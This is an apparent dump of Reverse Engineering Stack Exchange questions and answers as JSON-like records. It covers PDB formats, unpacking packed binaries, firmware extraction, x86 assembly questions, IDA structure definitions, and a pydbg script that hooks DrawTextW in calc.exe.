Where I can find such information? I've already read the undocumented windows 2000 secrets explanation of it but it isn't complete. For example the 3rd stream format isn't explained. I have looked at this, where some general info about the streams is given but nothing more.

\n", "Title": "PDB v2.0 File Format documentation", "Tags": "|file-format|pdb|", "Answer": "

Here is something directly from Microsoft.

\n\n

https://github.com/Microsoft/microsoft-pdb

\n" }, { "Id": "2552", "CreationDate": "2013-07-28T17:27:08.943", "Body": "

As I am just getting started in RE, I've mostly faced files packed with a single-layer of packing , such as UPX, ASPack, etc.

\n\n

Unpacking these protections is fully documented online. The problem begins when I deal with multiple layers of packing, especially concerning malware. I have followed some tutorials though they're usually not detailed enough. They seem to go through a tedious process to find the OEP. For example, they start by dealing with common packers (which is the easy part) and then they begin to set breakpoints everywhere \"in calls and jumps\" and tracing through the file here and there, which is for me the hard part that I have described above. At this point, I have no clue for what they are seeking or for what they are aiming, and then after some work, they find the OEP!

\n\n

So what logic did they follow in that process? Also, because I know that the subject is broad, I'm also interested in some keywords.

\n", "Title": "How to unpack files packed with multiple packers?", "Tags": "|malware|unpacking|", "Answer": "

To Unpack a file you must have quite a lot of experience in reversing binaries..

\n\n

Remember there exists no universal method that works for all the packers.

\n\n

These steps will work in unpacking 97% of binaries;

\n\n
    \n
  1. You must be aware of the code that usually lies at the start of entry point in binaries compiled by well known compilers VC++, VB, Borland Delphi and other compilers. You should also be aware of the difference in code near entry point in binaries compiled in different compiler versions. This will eventually help you in finding the OEP.
    2. \n
  2. You must have abundance patience to follow all the virtual memory allocation and virtual memory freeing.
    3. \n
  3. Dump the memory blocks and look for visible strings after execution of a decryption code.
    4. \n
  4. Learn about debugger detection, virtual environment detection and anti-debugging techniques.
    5. \n
  5. Start with simple packers at first. I will recommend you to try UPX older versions.
    6. \n
  6. Last but not the least \"Play with your favorite debugger at-least for 14 hours a day.\"
    7. \n
\n\n

All the best and Happy reversing!!!

\n" }, { "Id": "2557", "CreationDate": "2013-07-29T16:48:39.017", "Body": "

I'm trying to unpack this firmware image but I'm getting some issues understanding the structure.

\n\n

First of all I have one image which I called firmware.bin, and the file command shows me that it's a LIF file:

\n\n
firmware.bin: lif file\n
\n\n

After that I analyze it with binwalk:

\n\n
DECIMAL     HEX         DESCRIPTION\n-------------------------------------------------------------------------------------------------------\n84992       0x14C00     ZynOS header, header size: 48 bytes, rom image type: ROMBIN, uncompressed size: 65616, compressed size: 16606, uncompressed checksum: 0xBA2A, compressed checksum: 0x913E, flags: 0xE0, uncompressed checksum is valid, the binary is compressed, compressed checksum is valid, memory map table address: 0x0\n85043       0x14C33     LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65616 bytes\n128002      0x1F402     GIF image data, version 8\"9a\", 200 x 50\n136194      0x21402     GIF image data, version 8\"7a\", 153 x 55\n349184      0x55400     ZynOS header, header size: 48 bytes, rom image type: ROMBIN, uncompressed size: 3113824, compressed size: 733298, uncompressed checksum: 0x3B9C, compressed checksum: 0xBBBA, flags: 0xE0, uncompressed checksum is valid, the binary is compressed, compressed checksum is valid, memory map table address: 0x0\n349235      0x55433     LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 3113824 bytes\n
\n\n

As you can see there are 2 LZMA, 2 ZynOS (LZMA also once cut) and 2 images. Once I extract the LZMA I uncompress it and the first one is a single binary, but the second one is another LZMA file with 127 files in it, and each one of those files have a lot of new files inside.

\n\n

\"File

\n\n

I guess that I'm not following the correct steps to unpack it, so I'm wondering how could I get the main filesystem clean?.

\n", "Title": "Unpack Billion 5102 firmware", "Tags": "|firmware|unpacking|mips|", "Answer": "

The output from the file utility, as you've probably guessed, is a false positive. The beginning of the firmware.bin file contains what looks to be a basic header (note the \"SIG\" string near the beginning of the file), and a bunch of MIPS executable code, which is likely the bootloader:

\n\n
DECIMAL         HEX             DESCRIPTION\n-------------------------------------------------------------------------------------------------------------------\n196             0xC4            MIPS instructions, function epilogue\n284             0x11C           MIPS instructions, function epilogue\n372             0x174           MIPS instructions, function epilogue\n388             0x184           MIPS instructions, function epilogue\n416             0x1A0           MIPS instructions, function epilogue\n424             0x1A8           MIPS instructions, function prologue\n592             0x250           MIPS instructions, function epilogue\n712             0x2C8           MIPS instructions, function epilogue\n720             0x2D0           MIPS instructions, function prologue\n832             0x340           MIPS instructions, function epilogue\n840             0x348           MIPS instructions, function prologue\n912             0x390           MIPS instructions, function epilogue\n920             0x398           MIPS instructions, function prologue\n976             0x3D0           MIPS instructions, function epilogue\n984             0x3D8           MIPS instructions, function epilogue\n1084            0x43C           MIPS instructions, function epilogue\n1192            0x4A8           MIPS instructions, function epilogue\n1264            0x4F0           MIPS instructions, function epilogue\n...\n
\n\n

Running strings on the firmware.bin binary seems backup this hypothesis, with many references to checksum and decompression errors:

\n\n
checksum error! (cal=%04X, should=%04X)\n     signature error!\n     (Compressed)\nstart: %p\n     unmatched objtype between memMapTab and image!\n     Length: %X, Checksum: %04X\n     Version: %s, \n     Compressed Length: %X, Checksum: %04X\nmemMapTab Checksum Error! (cal=%04X, should=%04X)\nmemMapTab Checksum Error!\n%3d: %s(%s), start=%p, len=%X\n%s Section:\nmemMapTab: %d entries, start = %p, checksum = %04X\n$USER Section:\nsignature error!\nROMIO image start at %p\ncode length: %X\ncode version: %s\ncode start: %p\nDecompressed image Error!\nDecompressed image Checksum Error! (cal=%04X, should=%04X)\nROM length(%X) > RAM length (%X)!\nCan't find %s in $ROM section.\nCan't find %s in $RAM section.\nRasCode\n
\n\n

A quick examination of the strings in the two decompressed LZMA files you found shows that the smaller one (at offset 0x14C33) appears to contain some debug interface code, likely designed to be accessed via the device's UART:

\n\n
                        UART INTERNAL  LOOPBACK TEST\n                        UART EXTERNAL  LOOPBACK TEST\nERROR\n======= HTP Command Listing =======\n< press any key to continue >\n macPHYCtrl.value=\n                        MAC INTERNAL LOOPBACK TEST \n                        MAC EXTERNAL LOOPBACK TEST \n                        MAC INTERNAL LOOPBACK \n                        MAC EXTERNAL LOOPBACK \n LanIntLoopBack ...\nTx Path Full, Drop packet:%d\n0x%08x\ntx descrip %d:\nrx descrip %d:\n%02X \n%08X: \n< Press any key to Continue, ESC to Quit >\n0123456789abcdefghijklmnopqrstuvwxyz\n0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ\n<NULL>\n) Register Dump *****\n***** ATM SAR Module: VC(\nReset&Identify reg   = \nTraffic Sched. TB reg= \nTX Data ctrl/stat reg= \nRX Data ctrl/stat reg= \nLast IRQ Status reg  = \nIRQ Queue Entry len  = \nVC IRQ Mask register = \nTX Data Current descr= \nRX Data Current descr= \nTX Traffic PCR       = \nTX Traffic MBS/Type  = \nTX Total Data Count  = \nVC IRQ CC Mask reg   = \nTX CC Current descr  = \nTX CC Total Count    = \nRX Miss Cell Count   = \n***** ATM SAR Module: Common Register Dump *****\n
\n\n

The second larger file (at offset 0x55433) appears to contain the ThreadX RTOS, by Green Hills:

\n\n
RTA231CV Reserved String\nanonymous\nwww.huawei.com\n1000\ntc-e4f6ed2f5b87<\nMSFT 5.07\nuser<\nMSFT 5.07\nLXT972\n\"AC101L\nCIP101\nRTL8201\nCAC201\njjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj\njjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj\njjjjjjjj\njjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj\njjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj\njjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj\njjjjjjjj\njjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj\nSystem Timer Thread\nCopyright (c) 1996-2000 Express Logic Inc. * ThreadX R3900/Green Hills Version G3.0f.3.0b *\n
\n\n

If you aren't familiar with RTOS's, they typically are just one big kernel with no concept of user space vs kernel space or what you would think of as a normal file system, although they will contain things like images and HTML files for this device's Web interface (see here for an example of how these types of files are stored/accessed in some VxWorks systems).

\n\n

I'd say that you already pretty much have this firmware extracted into its basic parts. To further analyze the bootloader or the two extracted LZMA files, you will need to start disassembling those files, which entails determining the memory address where they are loaded at boot time, identifying code/data sections, looking for possible symbol tables, identifying common functions, and probably writing some scripts to help with all of the above.

\n" }, { "Id": "2586", "CreationDate": "2013-08-05T08:51:07.677", "Body": "

You must have heard about it, it all over the on-line newspapers. Some researchers from UCLA claims to have achieved a breakthrough in software obfuscation through 'mathematical jigsaw puzzles'.

\n\n

Their scientific paper can be found on IACR eprint website.

\n\n

Can someone sum-up what is really the content of the paper (and does is really worth it) ?

\n", "Title": "What is this 'mathematical jigsaw puzzles' obfuscation?", "Tags": "|obfuscation|cryptography|whitebox-crypto|", "Answer": "

I still wonder should I add a comment on this because my knowledge on the cryptography is extremely limited. The paper on the jigsaw obfuscation uses a term named functional encryption, that means with the private key in hand the obfuscator can design some functions working on the encrypted data. And someone without the private key can use these functions on the encrypted data, but still know nothing about the data.

\n\n

For example, the obfuscator designs a function plus1 satisfying:

\n\n
\n

plus1(encrypted(x)) = encrypted(x+1)

\n
\n\n

the attacker will know that if he uses plus1, he can increase x by 1, but he does not know anything about the value of x.

\n\n

Now with the jigsaw obfuscation, given a program P with some input a, the obfuscator will encrypt the obfuscated program p as p = encrypt(P), then design a function F with input is some pair (p, a) satisfying:

\n\n
\n

F(p,a) = decrypt(p)(a) = P(a)

\n
\n\n

(note that F satisfies the equivalence above but the design of F is not trivial like that), and that means the attacker can always use F and p to get the output P(a), but he does not know anything about P.

\n" }, { "Id": "2587", "CreationDate": "2013-08-05T09:58:08.400", "Body": "

I'm trying to load a CGI file to IDA in order to disassemble it and understand it's behaviour but I can't do it.

\n\n

According to the strings command I can see some interesting words like system, sprintf, etc. And I know it's a MIPS file, But I'm not able to get something comprehensible in IDA.

\n\n

Could anyone guide me to achieve this?\nRegards.

\n", "Title": "How to reverse CGI file for MIPS?", "Tags": "|ida|firmware|radare2|mips|", "Answer": "

Expanding on my comment:

\n\n

The Freeware IDA Pro doesn't support MIPS, so you won't be able to use it. If you can't use the paid versions of IDA, there are free alternatives.

\n\n

As an example, using radare2 as an example, on the Debian MIPS binutils port:

\n\n
$ file bin/objdump \nbin/objdump: ELF 32-bit MSB  executable, MIPS, MIPS-II version 1 (SYSV), \ndynamically linked (uses shared libs), for GNU/Linux 2.6.26,\nBuildID[sha1]=d1d228509874377d7339cfd5b2f15db020e53b7b, stripped\n
\n\n

Following this example, we get something like this:

\n\n
[0x00403300]> af@sym.main\n[0x00403300]> ag > foo.dot\nfoo.dot created\n[0x00403300]> !dot -Tpdf -o foo.pdf foo.dot\n[0x00403300]> !open foo.pdf\n
\n\n

\"Part

\n\n

Note that the PDF this churns out is enormous, so you might want to just use pdf instead of ag produce textual output rather than dot files.

\n" }, { "Id": "2590", "CreationDate": "2013-08-05T15:17:50.767", "Body": "

What does the dollar symbol mean in

\n\n
jz $+2\n
\n\n

(This is IDA output.)

\n", "Title": "What does `jz $+2` do? (jump if zero to dollar plus two)", "Tags": "|disassembly|ida|assembly|", "Answer": "

Jump two bytes forward from current position when zero flag == NULL \nOpcode for this 74 00 which is two bytes

\n\n
seg000:00000000 74 00                    jz      short $+2\nseg000:00000002 74 00                    jz      short $+2\n
\n\n

so effectively it will jump to next instruction whether the condition is met or not \ngarbage mostly used in obfuscation

\n" }, { "Id": "2596", "CreationDate": "2013-08-06T21:05:43.440", "Body": "

How to disassemble first 200 bytes of an executable code using pydasm library in Python?\nI want to know how to set size of buffer to disassemble it.

\n", "Title": "Pydasm: Disassembling limited length executable shellcode", "Tags": "|disassembly|python|disassemblers|shellcode|", "Answer": "

Slightly modified version from pydasm's README.txt

\n\n
import pydasm\nimport binascii\n\n# Open, and read 200 bytes out of the file,\n# while converting buffer to hex string\nwith open('file.bin','r') as f:\n    buffer = binascii.hexlify(f.read(200))\n\n\n# Iterate through the buffer and disassemble \noffset = 0\nwhile offset < len(buffer):\n   i = pydasm.get_instruction(buffer[offset:], pydasm.MODE_32)\n   print pydasm.get_instruction_string(i, pydasm.FORMAT_INTEL, 0)\n   if not i:\n     break\n   offset += i.length\n
\n\n

ADDED:

\n\n

You also can play with seek() to go to certain position of the file, and then read from there. It is particular useful if you want to read shellcode embedded into some file and you know relative position. You will have to open() the file with \"b\" option for it to work. Consult Python File Object Library Reference for details.

\n" }, { "Id": "2610", "CreationDate": "2013-08-10T00:42:12.860", "Body": "

When reversing shellcode, we see the PEB walk fairly often at various stages. I am curious however, if there is any pre-defined standard structure for this in IDA? If so, what is it called? After looking and googling around I haven't been able to find anything. I would also be very interested in definitions for PEB_LDR_DATA and RTL_USER_PROCESS_PARAMETERS.

\n\n

I could create them myself and export them somehow (would have to figure out how). But before doing that I am really curious if there is just something I am missing amongst the standard structure definitions in IDA.

\n", "Title": "Structure Definitions for PEB in IDA", "Tags": "|ida|shellcode|", "Answer": "

if you are using IDA FREE then this and several other type libraries are not available

\n\n

and if you intend to

\n\n
create them yourself and export them somehow (would have to figure out how). \n
\n\n

this walk through provides few hints on how to accomplish it

\n\n

os winxp sp3 vm

\n\n
(all opaque structures like EPROCESS can vary from os to os / hotfix to hotfix patch tuesday to patch tuesday )\n
\n\n

supposing you are reversing PsGetProcessId() in ntkrnlpa.exe

\n\n
                  ; Exported entry 872. PsGetProcessId    \n                  ; Attributes: bp-based frame    \n                  ; __stdcall PsGetProcessId(x)\n                  public _PsGetProcessId@4\n                  _PsGetProcessId@4 proc near\n8B FF             mov     edi, edi\n55                push    ebp\n8B EC             mov     ebp, esp\n8B 45 08          mov     eax, [ebp+8]\n8B 80 84 00 00 00 mov     eax, [eax+84h] <-----\n5D                pop     ebp\nC2 04 00          retn    4\n                  _PsGetProcessId@4 endp\n
\n\n

and you find out 84 is EPROCESS->Pid and want to impart this information to the disassembly

\n\n

make a text file named EPROCESS.h

\n\n

type the following in the text file and save it for accessing it later

\n\n
typedef struct EPROCESS \n{\n  BYTE unknown[0x84];\n  DWORD Pid;\n} EPROCESS, *EPROCESS;\n
\n\n

go to ida free ->File->Load File->Parse Header File or shortcut ctrl+f9\nbrowse to the EPROCESS.h

\n\n

you should see this is ida information window on being successful

\n\n
The initial autoanalysis has been finished.\nC:\\Documents and Settings\\Admin\\Desktop\\EPROCESS.h: `successfully compiled`\n
\n\n

view->open subviews->structures or shortcut shift+f9\npress insert key click add standard structure start typing peb and you should see the window scrolling and showing you the structure you just added

\n\n
00000000 EPROCESS        struc ; (sizeof=0x88, standard type)\n00000000 unknown         db 132 dup(?)\n00000084 Pid             dd ?\n00000088 EPROCESS        ends\n
\n\n

go to idaview select 84h / right click->select structure offset

\n\n

and apply the Eprocess.Pid

\n\n

disassembly will become a bit more readable

\n\n
8B 80 84 00 00 00 mov     eax, [eax+EPROCESS.Pid]\n
\n\n

start adding other discovered offset to this eprocess.h and load it again for updated \nstructure definitions

\n\n

many of the structures definitions can be viewed via windbg

\n\n

for example peb and peb_ldr_data can be viewed like this

\n\n
dt nt!_PEB\ndt nt!_PEB_LDR_DATA\n
\n\n

Additional Details

\n\n

if you modify the .h file to add another structure member like this

\n\n
typedef struct EPROCESS \n{\n  BYTE unknown[0x84];\n  DWORD Pid;\n  BYTE unk2[0xbc-0x88];\n  DWORD DebugPort;\n  BYTE unknown1[0x174-0xc0];\n  BYTE ImageFileName[16];\n} EPROCESS, *PEPROCESS;\n
\n\n

Be Aware you would need to delete the earlier definitions before parsing the header file again and this implies all your earlier work will be lost on reloading \nso save your work

\n" }, { "Id": "2620", "CreationDate": "2013-08-11T20:43:36.953", "Body": "

I am having trouble understanding how this code knows when to stop looping. I am supposed to figure out what values are put into %edi. But I can't figure out how many times it loops.

\n\n
0x40106e      movl   $0x2b,0xffffffdc(%ebp)\n0x401075      movl   $0x31,0xffffffe4(%ebp)\n0x40107c      movl   $0x74,0xffffffec(%ebp)\n0x401083      movl   $0x19,0xffffffe8(%ebp)\n0x40108a      movl   $0x7,0xffffffd8(%ebp)\n0x401091      movl   $0x14,0xffffffe0(%ebp)\n0x401098      mov    $0xdead,%edi\n0x40109d      mov    $0x2,%ecx\n0x4010a2      mov    %ecx,%esi\n0x4010a4      mov    $0x3,%ecx\n0x4010a9      mov    $0x2,%ebx\n0x4010ae      sub    %esi,%ebx\n0x4010b0      imul   $0xc,%ebx,%ebx\n0x4010b3      mov    $0x3,%edx\n0x4010b8      sub    %ecx,%edx\n0x4010ba      lea    0xffffffd8(%ebp),%eax\n0x4010bd      lea    (%ebx,%edx,4),%ebx\n0x4010c0      add    %ebx,%eax\n0x4010c2      mov    (%eax),%edi\n0x4010c4      loop   0x4010a9\n0x4010c6      mov    %esi,%ecx\n0x4010c8      loop   0x4010a2\n0x4010ca      mov    $0xbeef,%edi\n
\n\n

Edit: I now understand the looping logic. However I am having a hard time following all the values getting moved around. I am stuck here lea 0xffffffd8(%ebp),%eax \nHow do I know what %ebp is?

\n", "Title": "Understanding assembly loop", "Tags": "|assembly|", "Answer": "

there are 2 loops in the code:

\n\n
\n

0x40109d mov $0x2,%ecx
\n 0x4010a2 mov %ecx,%esi
\n 0x4010a4 mov $0x3,%ecx
\n 0x4010a9 mov $0x2,%ebx
\n ...
\n first loop
\n ...
\n 0x4010c4 loop 0x4010a9
\n 0x4010c6 mov %esi,%ecx
\n second loop
\n 0x4010c8 loop 0x4010a2

\n
\n\n\n\n

In addition here is information about LOOP opcode

\n\n
\n

0x4010ba lea 0xffffffd8(%ebp),%eax

\n
\n\n

This mean that %eax got the address from calculating %ebp+0xffffffd8

\n\n
\n

0x4010bd lea (%ebx,%edx,4),%ebx

\n
\n\n

This one is where %ebx = %ebx + %edx * 4

\n\n
\n

0x4010c0 add %ebx,%eax

\n
\n\n

Here %ebx is added to %eax

\n\n
\n

0x4010c2 mov (%eax),%edi

\n
\n\n

Finally %edi gets the data that %eax points to.

\n\n

A small asm reference.

\n" }, { "Id": "2627", "CreationDate": "2013-08-12T16:00:50.820", "Body": "

I just found a strange instruction by assembling (with gas) and disassembling (with objdump) on a amd64 architecture.

\n\n

The original amd64 assembly code is:

\n\n
mov 0x89abcdef, %al\n
\n\n

And, after gas compiled it (I am using the following command line: gcc -m64 -march=i686 -c -o myobjectfile myassemblycode.s), objdump gives the following code:

\n\n
a0 df ce ab 89 00 00    movabs 0x89abcdef, %al\n
\n\n

My problem is that I cannot find any movabs, nor movab in the Intel assembly manual (not even a mova instruction).

\n\n

So, I am dreaming ? What is the meaning of this instruction ? My guess is that it is a quirks from the GNU binutils, but I am not sure of it.

\n\n

PS: I checked precisely the spelling of this instruction, so it is NOT a movaps instruction for sure.

\n", "Title": "What is the meaning of movabs in gas/x86 AT&T syntax?", "Tags": "|x86|amd64|", "Answer": "

Initialization of local variables with movabs

\n

Yes this instruction should move absolute hardcoded data embedded into instruction itself into register,\nor data from absolute address. But I got into this instruction only recently when I wanted to know where constant data for initialization of local variables are because I didnt find them in .rodata ELF section.

\n

So basically GCC uses this instruction to initialize automatic variables on stack!

\n

Lets dive into code to find out how this instruction is used.\nAs we see in this code example we have local variable test initialized:

\n

\"enter

\n

We know that local variables are put in stack and I was interested to know\nwhere and how local variables get initialized.

\n

When we dump .text section with objdump we see that this constant 0x41414141414141 is realy embedded in the code itself:

\n
000000000000116c <get_message2>:\n116c:   f3 0f 1e fa             endbr64 \n1170:   55                      push   %rbp\n1171:   48 89 e5                mov    %rsp,%rbp\n1174:   48 83 ec 10             sub    $0x10,%rsp\n1178:   64 48 8b 04 25 28 00    mov    %fs:0x28,%rax\n117f:   00 00 \n1181:   48 89 45 f8             mov    %rax,-0x8(%rbp)\n1185:   31 c0                   xor    %eax,%eax\n1187:   48 b8 41 41 41 41 41    movabs $0x41414141414141,%rax\n118e:   41 41 00 \n
\n
\n

As we see disassembled function and register content from GDB:

\n

\"enter

\n

So when we look at code we see that this string test, in HEX notation 0x0x41414141414141 is hardcoded in movabs instruction, and is put in rax register, and then content of rax register is put on address in rbp minus offset 0x10:

\n
   0x000055555555517d <+27>:    movabs $0x41414141414141,%rax\n   0x0000555555555187 <+37>:    mov    %rax,-0x10(%rbp)\n
\n

So this local string will be placed on address 0x7fffffffdde0 - 0x10\nWe see that this local string is placed in stack frame of function\non address 0x7fffffffddd0, and this we see when we dump the stack:

\n
(gdb) x/16gx $sp\n0x7fffffffddd0: 0x0041414141414141  0x6a8574f1d6812b00\n0x7fffffffdde0: 0x00007fffffffddf0  0x000055555555515b\n0x7fffffffddf0: 0x0000000000000001  0x00007ffff7daad90 \n
\n

So we ended with initialized local string on a stack just as we expected.

\n" }, { "Id": "2632", "CreationDate": "2013-08-12T21:16:13.600", "Body": "

Does anyone know of projects that parse the disassembly from IDA Pro using a lexer and/or parser generator library? But I would also totally be fine with JSON or XML format. So far, I have been able to produce HTML from the GUI, but I am looking for a command line tool that will parse disassembly files produced by IDA Pro.

\n", "Title": "Parsing IDA Pro .asm files", "Tags": "|disassembly|ida|", "Answer": "

You'd be better off using IDC functions like GetMnem(), GetOpType(), GetOperandValue(), etc. to extract IDA's disassembly than exporting to JSON/XML.

\n\n

You can use command-line switches to run IDA in batch-mode with your IDC script to automate the entire process.

\n" }, { "Id": "2640", "CreationDate": "2013-08-14T14:51:22.127", "Body": "

The trapcc project on Github by Sergey Bratus and Julian Bangert claims that using the Turing complete capabilities of x86 MMU it is possible for a code to escape the virtual machine using a single instruction (Move, Branch if Zero, Decrement). It does so by page faults and double faults. I tried to read the paper but it seemed too puzzling. Is the idea feasible?

\n", "Title": "Virtual Machine escape through page faults", "Tags": "|virtual-machines|", "Answer": "

In fact, they do not claim at all to evade from any virtual machine. But, by using the MMU fault handler mechanism to perform computation, they expect to render the encapsulation of their program unpractical. Indeed, the point is to find unexpected primitives to perform computation, doing so only a few virtual machine environments will be able handle such specific programs. And, even if they do, a virtual machine is managed by an hypervisor which will probably be overwhelmed by the handling of all the interrupt signals that such a program requires.

\n\n

So, in fact, they propose a way of programming that is as powerful as C (Turing-complete) but that will be extremely tedious to run in a virtualized environment.

\n\n

Of course, the goal of this is to slow down the analysis of the program when run in a virtual machine (this is to be compared to the anti-debug techniques to avoid dynamic analysis).

\n" }, { "Id": "2652", "CreationDate": "2013-08-17T14:15:30.363", "Body": "

I am not able to understand exact difference in Digital Forensic and Reverse Engineering. Will Digital Forensic has anything to do with decompilation, assembly code reading or debugging?

\n", "Title": "What is difference between Digital Forensic and Reverse Engineering", "Tags": "|tools|disassembly|decompilation|debuggers|digital-forensics|", "Answer": "

At a very high level...

\n\n

Reverse engineering typically focuses on recovering the functional specifications of code.

\n\n

Digital forensics typically focuses on recovering data.

\n" }, { "Id": "2657", "CreationDate": "2013-08-18T10:05:41.350", "Body": "

I've got a program that i'm trying to debug a little bit by trying to make sense of a function or two, there's already some info that i've downloaded via a idb file and it's helped me get somewhere. But i'm kind of stuck on a part where i've got something like this:

\n\n
BYTE3(v1) = 0;\n
\n\n

This is from the ida hex-rays plugin which has made some nice c-pseudo code for me. I can't double click the function and get it translated in some way so i don't really know how to understand what it does, my guess is that it takes either the third or fourth byte of an int. So my question is, how would i be able to find this function and look at it's disassembly at least if it can't be translated by hex-rays? The signature if that helps at all looks like this according to ida: _BYTE __fastcall(int)

\n", "Title": "BYTE3, does it mean the third or fourth byte of an int? IDB file that's already supplied", "Tags": "|disassembly|ida|c|c++|", "Answer": "

All Hex-Rays macros are defined in <IDA directory>\\plugins\\defs.h. It's also available at https://github.com/nihilus/hexrays_tools/blob/master/code/defs.h

\n\n

For BYTE3(x):

\n\n
...\n#define BYTEn(x, n)   (*((_BYTE*)&(x)+n))\n...\n#define BYTE3(x)   BYTEn(x,  3)\n...\n
\n\n

So BYTE3(x) yields (*((_BYTE*)&(x)+3)), which effectively means the fourth byte of the value x.

\n" }, { "Id": "2662", "CreationDate": "2013-08-21T03:25:13.687", "Body": "

I'm reverse engineering a Visual Basic application and I've run into a big of a sticky situation, so I was hoping that someone might have an opinion on a way to approach it. It's basically a crackme but I haven't been able to nail down where the callback code is for the function I'm looking for. I've found the labels and captions but I was hoping for an intelligent way to start looking at the binary instead of crawling through it from top to bottom until I find the right comparison.

\n\n

I've taken a look at the output of VB Decompiler but the output isn't matching up to what I'm used to.

\n\n

\"here's

\n\n

In other VB apps it seems like the locations given there is enough to get started and find the callbacks, but not with this one: \"this.

\n\n

I thought at first the code was just being rendered poorly in the debugger but after playing around with it I don't think that location is correct at all. So I'm looking for ideas on where to go from here.

\n\n

Thanks.

\n", "Title": "Complications reverse engineering a Visual Basic application", "Tags": "|crackme|visual-basic|", "Answer": "

This is probably P-code compiled file, not native code. Try WKT Debugger:

\n\n

http://www.woodmann.com/collaborative/tools/index.php/Whiskey_Kon_Tequilla_VB_P-Code_Debugger

\n" }, { "Id": "2664", "CreationDate": "2013-08-21T08:12:37.187", "Body": "

I would like to decompile the Linux .so files.

\n\n\n", "Title": "How to decompile Linux .so library files from a MS-Windows OS?", "Tags": "|tools|decompilation|decompile|", "Answer": "

you can use hteditor by seppel if disassembly is ok \nhttp://hte.sourceforge.net/

\n\n

copy the .so file from linux machine with say samba

\n\n

and feed the so file to hteditor

\n\n

a sample using libc.so.6 from a damn small linux

\n\n

assuming samba is up and running in vm and a shared folder in windows host is created \nsay c:\\sharedwithvm

\n\n
from the linux machine \n
\n\n

cp ../..../lib/libc.so.6 /mnt//sharedwithvm

\n\n
in the windows machine \n\nC:\\>cd sharedwithvm\n\nC:\\sharedwithvm>dir /b\nlibc.so.6\n\nC:\\sharedwithvm>f:\\hteditor\\2022\\ht-2.0.22-win32.exe libc.so.6\n
\n\n

hteditor will open with hex view

\n\n
f6 select elf\\image\n\nf8 symbols type fo\n\n60490 \u2502 func \u2502 fopen                                \u25b2\n
\n\n

double click to view the disassembly

\n\n
<.text> @00060490  push ebp\nfopen+0\n   ..... ! ;********************************************************\n   ..... ! ; function fopen (global)\n   ..... ! ;********************************************************\n   ..... ! fopen:                          ;xref c189a7 c262da c74722\n   ..... !                                 ;xref c93c74 c94cd5 cd23c4\n   ..... !                                 ;xref cd3617 cd37c6 cd3a1a\n   ..... !                                 ;xref cd7061 cd717f cd729f\n   ..... !                                 ;xref ce50e3 ce67e6 ce7581\n   ..... !                                 ;xref cef095 cf0302\n   ..... !   push        ebp\n   60491 !   mov         ebp, esp\n   60493 !   sub         esp, 18h\n   60496 !   mov         [ebp-4], ebx\n   60499 !   mov         eax, [ebp+0ch]\n   6049c !   call        sub_15c8d\n   604a1 !   add         ebx, offset_cab57\n   604a7 !   mov         dword ptr [esp+8], 1\n   604af !   mov         [esp+4], eax\n   604b3 !   mov         eax, [ebp+8]\n
\n" }, { "Id": "2668", "CreationDate": "2013-08-21T17:42:30.590", "Body": "

Using APIMonitor from Rohitab I found that DrawTextA has some additional arguments I would like to log using Python and Pydbg (I'm currently logging lpchText, se below).

\n\n

\"DrawTextA\"

\n\n

My current hooking code looks something like this:

\n\n
def DrawTextHook(dbg, args):\n   # Log lpchText\n   text = dbg.get_ascii_string(incremental_read(dbg, args[1], 255))\n
\n\n

The argument I would like to log is lpRect and uFormat. How do I extend my currrent code to log these two arguments?

\n", "Title": "Logging lpRect and uFormat from DrawTextA", "Tags": "|python|", "Answer": "

if you really ask me i will say dump pydbg and start using logged ollydbg conditional break points it will give you the function's arguments cleanly formatted into its components or even windbg

\n\n

you asked pydbg here is how you can do it in pydbg

\n\n
from pydbg import *\nfrom pydbg.defines import *\n\ndef handler_breakpoint (pydbg):   \n   if pydbg.first_breakpoint:\n    return DBG_CONTINUE\n\n   arg1 =   dbg.get_arg(1,dbg.context)\n   arg2 =   dbg.get_arg(2,dbg.context)\n   arg3 =   dbg.get_arg(3,dbg.context)\n   arg4 =   dbg.get_arg(4,dbg.context)\n   arg5 =   dbg.get_arg(5,dbg.context)\n   text =   dbg.read_process_memory(arg2,0x20)\n   lprect = dbg.read_process_memory(arg4,0x10)\n\n   print \"hDc = %08x\\nText = %08x %s\\nCount = %08x\\nlpRect = %08x %s\\nuFormat = %08x\\n\" % (arg1,arg2,pydbg.get_unicode_string(text),arg3,arg4,lprect,arg5)\n   return DBG_CONTINUE\n\ndbg = pydbg()\ndbg.set_callback(EXCEPTION_BREAKPOINT, handler_breakpoint)\ndbg.attach(2708)\nDrawTextW = dbg.func_resolve(\"user32\", \"DrawTextW\")\ndbg.bp_set(DrawTextW)\npydbg.debug_event_loop(dbg)\n
\n\n

and an output for calc.exe (uses DrawTextW not A)

\n\n

C:\\Python27\\Lib\\site-packages>python calc.py

\n\n
hDc = 48010f0d\nText = 000b85fe Sta\nCount = ffffffff\nlpRect = 0007fa7c         $   \u2194\nuFormat = 00000025\n\nhDc = 4b010f0d\nText = 000b85fe Sta\nCount = ffffffff\nlpRect = 0007fa7c         $   \u2194\nuFormat = 00000025\n\nhDc = 6c010ea9\nText = 000b8668 tan\nCount = ffffffff\nlpRect = 0007fa7c         $   \u2194\nuFormat = 00000025\n\nhDc = 79010ea9\nText = 000b8668 tan\nCount = ffffffff\nlpRect = 0007fa7c         $   \u2194\nuFormat = 00000025\n\nhDc = 7c010f0d\nText = 000b8688 x^2\nCount = ffffffff\nlpRect = 0007fa7c         $   \u2194\nuFormat = 00000025\n\nhDc = 8e010f0d\nText = 000b8688 x^2\nCount = ffffffff\nlpRect = 0007fa7c         $   \u2194\nuFormat = 00000025\n\nhDc = ab010ea9\nText = 000b869e 1/x\nCount = ffffffff\nlpRect = 0007fa7c         $   \u2194\nuFormat = 00000025\n\nhDc = bf010ea9\nText = 000b869e 1/x\nCount = ffffffff\nlpRect = 0007fa7c         $   \u2194\nuFormat = 00000025\n
\n\n

if you want to change to ollydbg

\n\n

c:> ollydbg.exe calc.exe

\n\n
